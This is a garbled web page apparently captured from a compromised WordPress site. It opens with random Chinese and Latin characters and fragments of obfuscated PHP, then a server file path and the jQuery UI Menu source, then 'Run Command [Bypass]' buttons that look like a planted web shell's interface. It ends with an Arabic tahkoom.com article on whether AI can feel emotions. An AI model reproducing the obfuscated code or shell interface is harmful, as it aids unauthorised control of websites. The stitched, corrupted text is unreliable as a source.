财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV
v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) {
http_response_code(402);
exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-includes/js/jquery/ui/menu.js
/*!
* jQuery UI Menu 1.13.3
* https://jqueryui.com
*
* Copyright OpenJS Foundation and other contributors
* Released under the MIT license.
* https://jquery.org/license
*/
//>>label: Menu
//>>group: Widgets
//>>description: Creates nestable menus.
//>>docs: https://api.jqueryui.com/menu/
//>>demos: https://jqueryui.com/menu/
//>>css.structure: ../../themes/base/core.css
//>>css.structure: ../../themes/base/menu.css
//>>css.theme: ../../themes/base/theme.css
( function( factory ) {
"use strict";
if ( typeof define === "function" && define.amd ) {
// AMD. Register as an anonymous module.
define( [
"jquery",
"../keycode",
"../position",
"../safe-active-element",
"../unique-id",
"../version",
"../widget"
], factory );
} else {
// Browser globals
factory( jQuery );
}
} )( function( $ ) {
"use strict";
return $.widget( "ui.menu", {
version: "1.13.3",
defaultElement: "<ul>",
delay: 300,
options: {
icons: {
submenu: "ui-icon-caret-1-e"
},
items: "> *",
menus: "ul",
position: {
my: "left top",
at: "right top"
},
role: "menu",
// Callbacks
blur: null,
focus: null,
select: null
},
_create: function() {
this.activeMenu = this.element;
// Flag used to prevent firing of the click handler
// as the event bubbles up through nested menus
this.mouseHandled = false;
this.lastMousePosition = { x: null, y: null };
this.element
.uniqueId()
.attr( {
role: this.options.role,
tabIndex: 0
} );
this._addClass( "ui-menu", "ui-widget ui-widget-content" );
this._on( {
// Prevent focus from sticking to links inside menu after clicking
// them (focus should always stay on UL during navigation).
"mousedown .ui-menu-item": function( event ) {
event.preventDefault();
this._activateItem( event );
},
"click .ui-menu-item": function( event ) {
var target = $( event.target );
var active = $( $.ui.safeActiveElement( this.document[ 0 ] ) );
if ( !this.mouseHandled && target.not( ".ui-state-disabled" ).length ) {
this.select( event );
// Only set the mouseHandled flag if the event will bubble, see #9469.
if ( !event.isPropagationStopped() ) {
this.mouseHandled = true;
}
// Open submenu on click
if ( target.has( ".ui-menu" ).length ) {
this.expand( event );
} else if ( !this.element.is( ":focus" ) &&
active.closest( ".ui-menu" ).length ) {
// Redirect focus to the menu
this.element.trigger( "focus", [ true ] );
// If the active item is on the top level, let it stay active.
// Otherwise, blur the active item since it is no longer visible.
if ( this.active && this.active.parents( ".ui-menu" ).length === 1 ) {
clearTimeout( this.timer );
}
}
}
},
"mouseenter .ui-menu-item": "_activateItem",
"mousemove .ui-menu-item": "_activateItem",
mouseleave: "collapseAll",
"mouseleave .ui-menu": "collapseAll",
focus: function( event, keepActiveItem ) {
// If there's already an active item, keep it active
// If not, activate the first item
var item = this.active || this._menuItems().first();
if ( !keepActiveItem ) {
this.focus( event, item );
}
},
blur: function( event ) {
this._delay( function() {
var notContained = !$.contains(
this.element[ 0 ],
$.ui.safeActiveElement( this.document[ 0 ] )
);
if ( notContained ) {
this.collapseAll( event );
}
} );
},
keydown: "_keydown"
} );
this.refresh();
// Clicks outside of a menu collapse any open menus
this._on( this.document, {
click: function( event ) {
if ( this._closeOnDocumentClick( event ) ) {
this.collapseAll( event, true );
}
// Reset the mouseHandled flag
this.mouseHandled = false;
}
} );
},
_activateItem: function( event ) {
// Ignore mouse events while typeahead is active, see #10458.
// Prevents focusing the wrong item when typeahead causes a scroll while the mouse
// is over an item in the menu
if ( this.previousFilter ) {
return;
}
// If the mouse didn't actually move, but the page was scrolled, ignore the event (#9356)
if ( event.clientX === this.lastMousePosition.x &&
event.clientY === this.lastMousePosition.y ) {
return;
}
this.lastMousePosition = {
x: event.clientX,
y: event.clientY
};
var actualTarget = $( event.target ).closest( ".ui-menu-item" ),
target = $( event.currentTarget );
// Ignore bubbled events on parent items, see #11641
if ( actualTarget[ 0 ] !== target[ 0 ] ) {
return;
}
// If the item is already active, there's nothing to do
if ( target.is( ".ui-state-active" ) ) {
return;
}
// Remove ui-state-active class from siblings of the newly focused menu item
// to avoid a jump caused by adjacent elements both having a class with a border
this._removeClass( target.siblings().children( ".ui-state-active" ),
null, "ui-state-active" );
this.focus( event, target );
},
_destroy: function() {
var items = this.element.find( ".ui-menu-item" )
.removeAttr( "role aria-disabled" ),
submenus = items.children( ".ui-menu-item-wrapper" )
.removeUniqueId()
.removeAttr( "tabIndex role aria-haspopup" );
// Destroy (sub)menus
this.element
.removeAttr( "aria-activedescendant" )
.find( ".ui-menu" ).addBack()
.removeAttr( "role aria-labelledby aria-expanded aria-hidden aria-disabled " +
"tabIndex" )
.removeUniqueId()
.show();
submenus.children().each( function() {
var elem = $( this );
if ( elem.data( "ui-menu-submenu-caret" ) ) {
elem.remove();
}
} );
},
_keydown: function( event ) {
var match, prev, character, skip,
preventDefault = true;
switch ( event.keyCode ) {
case $.ui.keyCode.PAGE_UP:
this.previousPage( event );
break;
case $.ui.keyCode.PAGE_DOWN:
this.nextPage( event );
break;
case $.ui.keyCode.HOME:
this._move( "first", "first", event );
break;
case $.ui.keyCode.END:
this._move( "last", "last", event );
break;
case $.ui.keyCode.UP:
this.previous( event );
break;
case $.ui.keyCode.DOWN:
this.next( event );
break;
case $.ui.keyCode.LEFT:
this.collapse( event );
break;
case $.ui.keyCode.RIGHT:
if ( this.active && !this.active.is( ".ui-state-disabled" ) ) {
this.expand( event );
}
break;
case $.ui.keyCode.ENTER:
case $.ui.keyCode.SPACE:
this._activate( event );
break;
case $.ui.keyCode.ESCAPE:
this.collapse( event );
break;
default:
preventDefault = false;
prev = this.previousFilter || "";
skip = false;
// Support number pad values
character = event.keyCode >= 96 && event.keyCode <= 105 ?
( event.keyCode - 96 ).toString() : String.fromCharCode( event.keyCode );
clearTimeout( this.filterTimer );
if ( character === prev ) {
skip = true;
} else {
character = prev + character;
}
match = this._filterMenuItems( character );
match = skip && match.index( this.active.next() ) !== -1 ?
this.active.nextAll( ".ui-menu-item" ) :
match;
// If no matches on the current filter, reset to the last character pressed
// to move down the menu to the first item that starts with that character
if ( !match.length ) {
character = String.fromCharCode( event.keyCode );
match = this._filterMenuItems( character );
}
if ( match.length ) {
this.focus( event, match );
this.previousFilter = character;
this.filterTimer = this._delay( function() {
delete this.previousFilter;
}, 1000 );
} else {
delete this.previousFilter;
}
}
if ( preventDefault ) {
event.preventDefault();
}
},
_activate: function( event ) {
if ( this.active && !this.active.is( ".ui-state-disabled" ) ) {
if ( this.active.children( "[aria-haspopup='true']" ).length ) {
this.expand( event );
} else {
this.select( event );
}
}
},
refresh: function() {
var menus, items, newSubmenus, newItems, newWrappers,
that = this,
icon = this.options.icons.submenu,
submenus = this.element.find( this.options.menus );
this._toggleClass( "ui-menu-icons", null, !!this.element.find( ".ui-icon" ).length );
// Initialize nested menus
newSubmenus = submenus.filter( ":not(.ui-menu)" )
.hide()
.attr( {
role: this.options.role,
"aria-hidden": "true",
"aria-expanded": "false"
} )
.each( function() {
var menu = $( this ),
item = menu.prev(),
submenuCaret = $( "<span>" ).data( "ui-menu-submenu-caret", true );
that._addClass( submenuCaret, "ui-menu-icon", "ui-icon " + icon );
item
.attr( "aria-haspopup", "true" )
.prepend( submenuCaret );
menu.attr( "aria-labelledby", item.attr( "id" ) );
} );
this._addClass( newSubmenus, "ui-menu", "ui-widget ui-widget-content ui-front" );
menus = submenus.add( this.element );
items = menus.find( this.options.items );
// Initialize menu-items containing spaces and/or dashes only as dividers
items.not( ".ui-menu-item" ).each( function() {
var item = $( this );
if ( that._isDivider( item ) ) {
that._addClass( item, "ui-menu-divider", "ui-widget-content" );
}
} );
// Don't refresh list items that are already adapted
newItems = items.not( ".ui-menu-item, .ui-menu-divider" );
newWrappers = newItems.children()
.not( ".ui-menu" )
.uniqueId()
.attr( {
tabIndex: -1,
role: this._itemRole()
} );
this._addClass( newItems, "ui-menu-item" )
._addClass( newWrappers, "ui-menu-item-wrapper" );
// Add aria-disabled attribute to any disabled menu item
items.filter( ".ui-state-disabled" ).attr( "aria-disabled", "true" );
// If the active item has been removed, blur the menu
if ( this.active && !$.contains( this.element[ 0 ], this.active[ 0 ] ) ) {
this.blur();
}
},
_itemRole: function() {
return {
menu: "menuitem",
listbox: "option"
}[ this.options.role ];
},
_setOption: function( key, value ) {
if ( key === "icons" ) {
var icons = this.element.find( ".ui-menu-icon" );
this._removeClass( icons, null, this.options.icons.submenu )
._addClass( icons, null, value.submenu );
}
this._super( key, value );
},
_setOptionDisabled: function( value ) {
this._super( value );
this.element.attr( "aria-disabled", String( value ) );
this._toggleClass( null, "ui-state-disabled", !!value );
},
focus: function( event, item ) {
var nested, focused, activeParent;
this.blur( event, event && event.type === "focus" );
this._scrollIntoView( item );
this.active = item.first();
focused = this.active.children( ".ui-menu-item-wrapper" );
this._addClass( focused, null, "ui-state-active" );
// Only update aria-activedescendant if there's a role
// otherwise we assume focus is managed elsewhere
if ( this.options.role ) {
this.element.attr( "aria-activedescendant", focused.attr( "id" ) );
}
// Highlight active parent menu item, if any
activeParent = this.active
.parent()
.closest( ".ui-menu-item" )
.children( ".ui-menu-item-wrapper" );
this._addClass( activeParent, null, "ui-state-active" );
if ( event && event.type === "keydown" ) {
this._close();
} else {
this.timer = this._delay( function() {
this._close();
}, this.delay );
}
nested = item.children( ".ui-menu" );
if ( nested.length && event && ( /^mouse/.test( event.type ) ) ) {
this._startOpening( nested );
}
this.activeMenu = item.parent();
this._trigger( "focus", event, { item: item } );
},
_scrollIntoView: function( item ) {
var borderTop, paddingTop, offset, scroll, elementHeight, itemHeight;
if ( this._hasScroll() ) {
borderTop = parseFloat( $.css( this.activeMenu[ 0 ], "borderTopWidth" ) ) || 0;
paddingTop = parseFloat( $.css( this.activeMenu[ 0 ], "paddingTop" ) ) || 0;
offset = item.offset().top - this.activeMenu.offset().top - borderTop - paddingTop;
scroll = this.activeMenu.scrollTop();
elementHeight = this.activeMenu.height();
itemHeight = item.outerHeight();
if ( offset < 0 ) {
this.activeMenu.scrollTop( scroll + offset );
} else if ( offset + itemHeight > elementHeight ) {
this.activeMenu.scrollTop( scroll + offset - elementHeight + itemHeight );
}
}
},
blur: function( event, fromFocus ) {
if ( !fromFocus ) {
clearTimeout( this.timer );
}
if ( !this.active ) {
return;
}
this._removeClass( this.active.children( ".ui-menu-item-wrapper" ),
null, "ui-state-active" );
this._trigger( "blur", event, { item: this.active } );
this.active = null;
},
_startOpening: function( submenu ) {
clearTimeout( this.timer );
// Don't open if already open fixes a Firefox bug that caused a .5 pixel
// shift in the submenu position when mousing over the caret icon
if ( submenu.attr( "aria-hidden" ) !== "true" ) {
return;
}
this.timer = this._delay( function() {
this._close();
this._open( submenu );
}, this.delay );
},
_open: function( submenu ) {
var position = $.extend( {
of: this.active
}, this.options.position );
clearTimeout( this.timer );
this.element.find( ".ui-menu" ).not( submenu.parents( ".ui-menu" ) )
.hide()
.attr( "aria-hidden", "true" );
submenu
.show()
.removeAttr( "aria-hidden" )
.attr( "aria-expanded", "true" )
.position( position );
},
collapseAll: function( event, all ) {
clearTimeout( this.timer );
this.timer = this._delay( function() {
// If we were passed an event, look for the submenu that contains the event
var currentMenu = all ? this.element :
$( event && event.target ).closest( this.element.find( ".ui-menu" ) );
// If we found no valid submenu ancestor, use the main menu to close all
// sub menus anyway
if ( !currentMenu.length ) {
currentMenu = this.element;
}
this._close( currentMenu );
this.blur( event );
// Work around active item staying active after menu is blurred
this._removeClass( currentMenu.find( ".ui-state-active" ), null, "ui-state-active" );
this.activeMenu = currentMenu;
}, all ? 0 : this.delay );
},
// With no arguments, closes the currently active menu - if nothing is active
// it closes all menus. If passed an argument, it will search for menus BELOW
_close: function( startMenu ) {
if ( !startMenu ) {
startMenu = this.active ? this.active.parent() : this.element;
}
startMenu.find( ".ui-menu" )
.hide()
.attr( "aria-hidden", "true" )
.attr( "aria-expanded", "false" );
},
_closeOnDocumentClick: function( event ) {
return !$( event.target ).closest( ".ui-menu" ).length;
},
_isDivider: function( item ) {
// Match hyphen, em dash, en dash
return !/[^\-\u2014\u2013\s]/.test( item.text() );
},
collapse: function( event ) {
var newItem = this.active &&
this.active.parent().closest( ".ui-menu-item", this.element );
if ( newItem && newItem.length ) {
this._close();
this.focus( event, newItem );
}
},
expand: function( event ) {
var newItem = this.active && this._menuItems( this.active.children( ".ui-menu" ) ).first();
if ( newItem && newItem.length ) {
this._open( newItem.parent() );
// Delay so Firefox will not hide activedescendant change in expanding submenu from AT
this._delay( function() {
this.focus( event, newItem );
} );
}
},
next: function( event ) {
this._move( "next", "first", event );
},
previous: function( event ) {
this._move( "prev", "last", event );
},
isFirstItem: function() {
return this.active && !this.active.prevAll( ".ui-menu-item" ).length;
},
isLastItem: function() {
return this.active && !this.active.nextAll( ".ui-menu-item" ).length;
},
_menuItems: function( menu ) {
return ( menu || this.element )
.find( this.options.items )
.filter( ".ui-menu-item" );
},
_move: function( direction, filter, event ) {
var next;
if ( this.active ) {
if ( direction === "first" || direction === "last" ) {
next = this.active
[ direction === "first" ? "prevAll" : "nextAll" ]( ".ui-menu-item" )
.last();
} else {
next = this.active
[ direction + "All" ]( ".ui-menu-item" )
.first();
}
}
if ( !next || !next.length || !this.active ) {
next = this._menuItems( this.activeMenu )[ filter ]();
}
this.focus( event, next );
},
nextPage: function( event ) {
var item, base, height;
if ( !this.active ) {
this.next( event );
return;
}
if ( this.isLastItem() ) {
return;
}
if ( this._hasScroll() ) {
base = this.active.offset().top;
height = this.element.innerHeight();
// jQuery 3.2 doesn't include scrollbars in innerHeight, add it back.
if ( $.fn.jquery.indexOf( "3.2." ) === 0 ) {
height += this.element[ 0 ].offsetHeight - this.element.outerHeight();
}
this.active.nextAll( ".ui-menu-item" ).each( function() {
item = $( this );
return item.offset().top - base - height < 0;
} );
this.focus( event, item );
} else {
this.focus( event, this._menuItems( this.activeMenu )
[ !this.active ? "first" : "last" ]() );
}
},
previousPage: function( event ) {
var item, base, height;
if ( !this.active ) {
this.next( event );
return;
}
if ( this.isFirstItem() ) {
return;
}
if ( this._hasScroll() ) {
base = this.active.offset().top;
height = this.element.innerHeight();
// jQuery 3.2 doesn't include scrollbars in innerHeight, add it back.
if ( $.fn.jquery.indexOf( "3.2." ) === 0 ) {
height += this.element[ 0 ].offsetHeight - this.element.outerHeight();
}
this.active.prevAll( ".ui-menu-item" ).each( function() {
item = $( this );
return item.offset().top - base + height > 0;
} );
this.focus( event, item );
} else {
this.focus( event, this._menuItems( this.activeMenu ).first() );
}
},
_hasScroll: function() {
return this.element.outerHeight() < this.element.prop( "scrollHeight" );
},
select: function( event ) {
// TODO: It should never be possible to not have an active item at this
// point, but the tests don't trigger mouseenter before click.
this.active = this.active || $( event.target ).closest( ".ui-menu-item" );
var ui = { item: this.active };
if ( !this.active.has( ".ui-menu" ).length ) {
this.collapseAll( event, true );
}
this._trigger( "select", event, ui );
},
_filterMenuItems: function( character ) {
var escapedCharacter = character.replace( /[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&" ),
regex = new RegExp( "^" + escapedCharacter, "i" );
return this.activeMenu
.find( this.options.items )
// Only match on items, not dividers or other content (#10571)
.filter( ".ui-menu-item" )
.filter( function() {
return regex.test(
String.prototype.trim.call(
$( this ).children( ".ui-menu-item-wrapper" ).text() ) );
} );
}
} );
} );
Run Command [Bypass]
Run Command
مشاعر الذكاء الاصطناعي.. حقيقة أم وهم؟ – tahkoom.com
كتبت إيريني أنطون
في عالم تتسارع فيه تطورات الذكاء الاصطناعي، لم يعد دوره يقتصر على تنفيذ الأوامر وتحليل البيانات، بل أصبح قادراً على محاكاة المشاعر البشرية والتفاعل معها بطرق تثير التساؤلات. هل هذه مجرد برمجة متطورة أم أن الآلات قد تقترب من امتلاك وعي عاطفي حقيقي؟
دراسات حديثة في مجالات علم النفس وعلوم الحاسوب تشير إلى إمكانية تطوير أنظمة ذكاء اصطناعي قادرة على التعرف على المشاعر البشرية والتفاعل معها بشكل أكثر تعقيداً، لكن الخبراء ما زالوا منقسمين حول ما إذا كان هذا يعني أن الآلة يمكن أن “تشعر” بالفعل، أم أنها مجرد خوارزميات تحاكي العاطفة دون إدراك حقيقي لها.
حين ننظر في عيون شخص يبكي أو نسمع نبرة الفرح في صوت آخر، نحن لا ندرك المشاعر فحسب، بل نشعر بها أيضاً. هذه القدرة على الإحساس والتعاطف لطالما كانت ما يميز الإنسان عن الآلة. لكن اليوم، ومع تطور الذكاء الاصطناعي، بدأت الحدود تتلاشى. روبوتات تتحدث بحنان، أنظمة تواسي مستخدميها، وبرمجيات تتفاعل مع الحزن والفرح وكأنها تمتلك وعياً عاطفياً. فهل يمكن للآلة أن تشعر حقاً، أم أن كل ما تفعله مجرد محاكاة بارعة تخدعنا للحظات؟
“الذكاء الاصطناعي أشبه بدم ية متطورة جداً”
قال أستاذ عبدالله الدالي، مطور برمجيات، إن: “الذكاء الاصطناعي مثل الممثل المحترف، لا يشعر بالمشاعر الحقيقية ولكنه يعرف أن يقلدها”. وأضاف أستاذ عبدالله أنه يمكن تصميم أنظمة الذكاء الاصطناعي بحيث تبدو وكأنها تمتلك مشاعر، حيث قال: “المبرمجين يصممون النظام بحيث يحلل الحديث أو الموقف مثل نبرة الصوت، ثم يختار رد مناسب من قاعدة بيانات بها عبارات جاهزة تعبر عن فرح أو زعل أو حتى تعاطف، بمعنى أنه يتم وضع سيناريو ثابت في البرمجة. على سبيل المثال، عندما تقول له ‘أنا حزين’، يرد الرد المبرمج عليه، مثلًا: ‘لماذا أنت حزين؟’”.
من جانبه، قال أستاذ وليد دبور، أستاذ مساعد الذكاء الاصطناعي بجامعة الأهرام الكندية: “الذكاء الاصطناعي الحالي أشبه بدمية متطورة جداً، تتحدث وتتحرك بذكاء لكنها لا تعيش ولا تشعر”. وأكد أستاذ وليد: “لا توجد طريقة لصنع مشاعر حقيقية في الآلات حالياً، وما يحدث هو مجرد تدريب لبيانات وخوارزميات الذكاء الاصطناعي. إذا دربته على نصوص عدوانية قد تصبح ردوده حادة، وإذا دربته على نصوص حزينة، سيقلد اللغة الحزينة، لكن هذا مجرد تمثيل وليس مشاعر حقيقية إطلاقاً”. وشرح أستاذ عبدالله قائلاً: “الإحساس عملية بيولوجية مرتبطة بالمخ والهرمونات عند البشر، بينما الذكاء الاصطناعي ليس إلا مجرد كود وخوارزميات، وهذه محاكاة ذكية جداً”.
“الجهاز العصبي والنفسي مرتبطان ببعضهم ا وميز الله بهما الكائنات الحية فقط”
قالت دكتورة ماري جرجس، استشارية صحة نفسية: “العناصر التي تشكل المشاعر توجد في الجزء الأوسط من الدماغ وهي منطقة قريبة من اللاوعي، وبالتالي لا يتحكم بها العقل أو المنطق. المشاعر هي كل ما يشعر به الإنسان من فرح وحب وحزن وغضب وغيرها”. وأكدت دكتورة ماري أنه: “لا يمكن لآلة أن تمتلك مشاعر حقيقية، وإلا ستكون مشاعر مزيفة عن طريق التحكم في برمجة تلك الآلة. يمكن للذكاء الاصطناعي أن يفعل أي شيء ويوصل لتقدمات كبيرة جداً، لكن من الصعب أن يتحكم في شيء له علاقة بالسلوكيات والنفسية والجهاز العصبي. فالجهاز العصبي والنفسي مرتبطان ببعضهما وميز الله بهما الكائنات الحية فقط، ومن الصعب أن تمتلكهما آلة. وفي حالة الوصول لتلك التقنيات وتنفيذها بشكل فعلي، ستكون مجرد محاكاة، وسيوضح ذلك في عدم وضوح الحالة الانفعالية بجودتها الطبيعية”.
“المشاعر تحتاج إلى وعي ذاتي”
يرى البعض أن المشاعر تحتاج إلى وعي ذاتي، وهو ما لا يمتلكه الذكاء الاصطناعي حتى الآن، بينما يعتقد آخرون أن المشاعر ليست سوى عمليات إدراكية يمكن برمجتها. بين الرؤيتين، يقف الجدل العلمي والفلسفي.
قالت أستاذة مارتينا سمير، معيدة بقسم الفلسفة في كلية البنات جامعة عين شمس: “المشاعر تعرف فلسفياً بأنها تفاعلات بيولوجية وفكرية للذات الإنسانية، والأنظمة الذكية هي فقط تحاكي العقل البشري، لكن مستحيل أن تصل بالفعل للشعور مثله لأنها لا تمتلك تجربة شعورية واقعية كالبشر. وفي حالة وصولها لذلك، ستكون مجرد محاكاة من خلال الخوارزميات والبيانات المغذية بها من قبل، ولكنها تحتاج لوعي ذاتي، فهي بالنهاية خدع ذكية”.
وأوضحت أستاذة مارتينا قائلة: “بالنسبة لمفهوم الثنائية بين العقل والجسد، تعني الانفصال بين العقل المعنوي والجسد المادي. وهذا المفهوم يعطي إمكانية لامتلاك الذكاء الاصطناعي مشاعر كما البشر، لأن في هذه الحالة لن يحتاج إلى جسم بيولوجي ووعي إنساني حقيقي لكي يشعر. وفي هذه الحالة قد يكون للأنظمة الذكية فرصة لتحمل وعي أو مشاعر من وجهة نظر الفلسفة”.
ورغم التقدم الهائل في الذكاء الاصطناعي، فإن إمكانية امتلاكه مشاعر حقيقية تظل محل جدل واسع. من منظور البرمجة، لا يزال الذكاء الاصطناعي يعتمد على خوارزميات تحاكي المشاعر دون إدراك حقيقي لها. علم النفس يؤكد أن المشاعر ترتبط بتجارب ذاتية وتفاعلات عصبية وهرمونية لا يمكن محاكاتها برمجيًا بشكل كامل. أما الفلسفة، فرغم بعض النظريات التي تفتح المجال أمام إمكانية وعي منفصل عن الجسد، فإنها تتفق مع العلم على أن الوعي والمشاعر كما نعرفها تظل معقدة إلى حد يجعل من الصعب جدًا، إن لم يكن مستحيلًا، أن تمتلكها الآلة. في النهاية، قد يتمكن الذكاء الاصطناعي من خداعنا باستجاباته العاطفية، لكنه سيبقى بلا إحساس حقيقي، مجرد محاكاة متقنة لمشاعر لا يعيشها بالفعل.
زر الذهاب إلى الأعلى